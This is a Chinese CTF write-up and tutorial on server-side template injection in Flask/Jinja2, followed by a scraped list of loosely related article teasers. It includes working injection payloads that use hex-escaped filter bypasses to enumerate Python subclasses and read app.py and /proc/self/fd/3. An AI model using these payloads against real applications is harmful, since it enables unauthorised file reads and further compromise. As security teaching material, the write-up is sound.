ssti小总结

article/2025/10/10 4:42:11

漏洞简介
SSTI即服务端模版注入攻击。由于程序员代码编写不当,导致用户输入可以修改服务端模版的执行逻辑,从而造成XSS,任意文件读取,代码执行等一系列问题.
1. 几种常用于ssti的魔术方法

__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用__builtins__ builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块

2.获取基类的几种方法

[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8]   //针对jinjia2/flask为[9]适用或者
[].__class__.__bases__[0]       //其他的类似

3.获取基本类的子类

[].__class__.__base__.__subclasses__()
ssti的主要目的就是从这么多的子类中找出可以利用的类(一般是指读写文件的类)加以利用。

jinja模板
在jinja2中,存在三种语法:

  1. 控制结构 {% %}
  2. 变量取值 {{ }}
    jinja2模板中使用 {{ }} 语法表示一个变量,它是一种特殊的占位符。当利用jinja2进行渲染的时候,它会把这些特殊的占位符进行填充/替换,jinja2支持python中所有的Python数据类型比如列表、字段、对象等。
  3. 注释 {# #}

例题2:buu[pasecactf_2019]flask_ssti
在这里插入图片描述
ps:如果页面无法交互,是因为 原HTML文件应用的JQuery在线库连不上, 如果出现上述问题的话需要开启VPN或其他方法,保证能连接到在线JQuery库就能正常做题了。
先用{{2*3}}测试是不是存在ssti
在这里插入图片描述
说明存在ssti
在这里插入图片描述
然后发现单引号,下划线和点都被过滤了,这题就是要绕过这三
接下来寻找可以使用的基类

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()}}

读取app.py源码

{{"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")}}
#等同于
{{""["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "app\x2Epy")}}

最后给一下大佬的payload

{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}

原理: 由于flag最初是存放在文件中,后由app.py读取后删除了该文件,所以可以利用这一点访问/proc/self/fd/,在其中的3即使此前打开的flag文件。 需要注意的是proc/self/的特性,按照文中师傅的说法,我们采用cat去读取获取的时关于cat进程的信息,所以应该采用此前的Flask中的get_data函数,这样读取时获取到的是python进程的信息。


http://chatgpt.dhexx.cn/article/y6WSsBbP.shtml

相关文章

SSTI---总结

Laravel Blade是Laravel提供的一个既简单又强大的模板引擎 和其他流行的PHP模板引擎不一样,Blade并不限制你在视图view中使用原生的PHP代码 所有的Blade视图页面都将被编译成原生的PHP代码并缓存起来,除非你的的模板文件修改,否则不会重新编…

SSTI入门详解

文章目录 关于基于flask的SSTI漏洞的阶段学习小结:SSTI的理解:SSTI引发的真正原因:render_template渲染函数是什么:render_template:注入的思想:playload 娓娓道来:魔术对象:用魔术对…

SSTI完全学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI…

SSTI简单总结和例题

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 目录 前言 一、SSTI是什么? 二、关于Python的类 1、__class__类 2、__bases__ 3、__subclasses__ 4、还用到过的一些类 三、SSTI漏洞的简单复现 四、CTF…

SSTI模板注入

SSTI模板注入 1.SSTI简介 SSTI 就是服务器端模板注入(Server-Side Template Injection) ​ 当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入…

SSTI基础学习

一、什么是SSTI SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。 常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。SSTI也是…

SSTI模板注入总结

文章目录 一、初识SSTI二、判断SSTI类型三、常用类1、__class__2、__bases__3、__subclasses__()4、类的知识总结(转载)5、常见过滤器(转载) 四、CTF例题[BJDCTF]The mystery of ip[Bugku]Simple_SSTI_1[Bugku]Simple_SSTI_2 一、初识SSTI 1…

推荐一款数据分析软件DataLab

1月6日,科学数据中心软件栈正式发布数据分析软件DataLab v1.0.0,成为软件栈家族的第8名成员。 DataLab致力于提供领域可定制的科学数据软件分析框架,集成通用的科学数据处理组件和存算环境的一体化管理与调度,各科学数据中心/科研…

做数据分析,软件工具少不了,好用的数据分析软件工具

​大数据属于广泛性的术语,多指庞大而复杂的数据集等,他们需要专门设计的工具来进行处理。这些数据集收集自各种各样的来源:公开的信息等,如杂志,报纸,文章。大数据生成的其他例子包括购买交易记录&#xf…

2020十大最佳大数据分析工具

作者:Sunita Chauhan 转自:InfoQ https://www.infoq.cn/article/IEIa8zX2s0KpLYi34ocE 营销的基本原理是一致的,每个人都喜欢洞察力,因为这些数字模式可以提供最安全的方法来确保企业采取正确的行动,更有效地运作&…

【数据分析】33个热门数据分析软件,你都用过哪些?

最近有一位小伙伴问我,做数据岗该学习哪些软件,我想了想扔给他33个软件 数据分析工具类软件,大体可以分为以下5类: Excel生态工具、数理统计工具、BI工具、数据库工具、编程工具 (Excel单独分成一类,主要是…

python数据分析用什么软件

Python是数据处理常用工具,可以处理数量级从几K至几T不等的数据,具有较高的开发效率和可维护性,还具有较强的通用性和跨平台性,这里就为大家分享几个不错的数据分析工具。 Python数据分析需要安装的第三方扩展库有:Num…

4大热门数据分析软件怎么选?看这篇就够了

有时候我们发现,技术和工具并不是核心要素,基于客户需求体验的产品设计和专业工程实施能力才是关键。大部分优秀的数据工具产品,也是胜在对数据的理解和治理的方法论上,赋以相应的工具,让能力加特。 机器学习、人工智…

盘点2021年10个顶级数据分析软件,及优缺点对比

1、Tableau公司 关键见解:即使在市场领导者中,Tableau公司也是数据分析软件市场上的顶级供应商。该公司于2019年被Salesforce公司收购。 该公司的数据分析平台以收集多个数据输入而闻名,允许用户将它们组合在一起,然后提供仪表板…

分析数据的软件有哪些?这几款数据分析软件不用会后悔

数据分析软件种类繁多,使用难度、场景、效率不一。日常的数据分析,Excel就能满足大部分需求,不过在数据量越来越大、维度越来越多、分析越来越复杂的今天,仅靠Excel解决也不现实,不过不用担心,市面上可分析…

六款超好用的大数据分析工具

一、大数据分析工具——Hadoop Hadoop是一个能够对大量数据进行分布式处理的软件框架。但是Hadoop是以一种可靠、高效、可伸缩的方式进行处理的。Hadoop是可靠的,因为它假设计算元素和存储会失败,因此它维护多个工作数据副本,确保能够针对失…

常见的数据分析工具有哪些?

众所周知,大数据是指无法在一定时间范围内用常规软件工具进行捕捉、管理和处理的数据集合。它的含义十分广泛,并庞大复杂,需要有专门设计的硬件和软件工具来进行数据处理和分析。下面给大家推荐几款常见好用的数据分析工具,以供参…

30款常用的大数据分析工具推荐(最新)

数据挖掘和数据分析的能力在当今时代相当重要, 智能的工具是你与竞争对手对抗并为公司业务增加优势的必备条件。我列出了30个最热门的大数据工具,供大家参考。 Part 1:数据采集工具 Part 2:开源数据工具 Part 3:数据可视化 Part 4:情感分析 Part 5:开…

目前流行的数据分析软件有哪些?

企业信息化建设,大量的数据需要经过分析才能挖掘价值。因此数据的价值越来越受到大家的重视,大数据分析软件逐渐成为企业运营必不可少的辅助工具。俗话说工人要想做好事,首先要磨利工具,拥有一个好用的大数据分析软件尤为重要&…

数据太多?3款免费数据分析软件,分分钟解决

本文分享下我在做数据分析时用过的几个简单易上手的数据可视化软件。 先放上目录: 数据统计收集类——简道云数据图表美化类——图表秀数据开发类——Echart 01 简道云 https://www.jiandaoyun.com/ 适用于:想要“简单易上手”适合业务人员&#xff…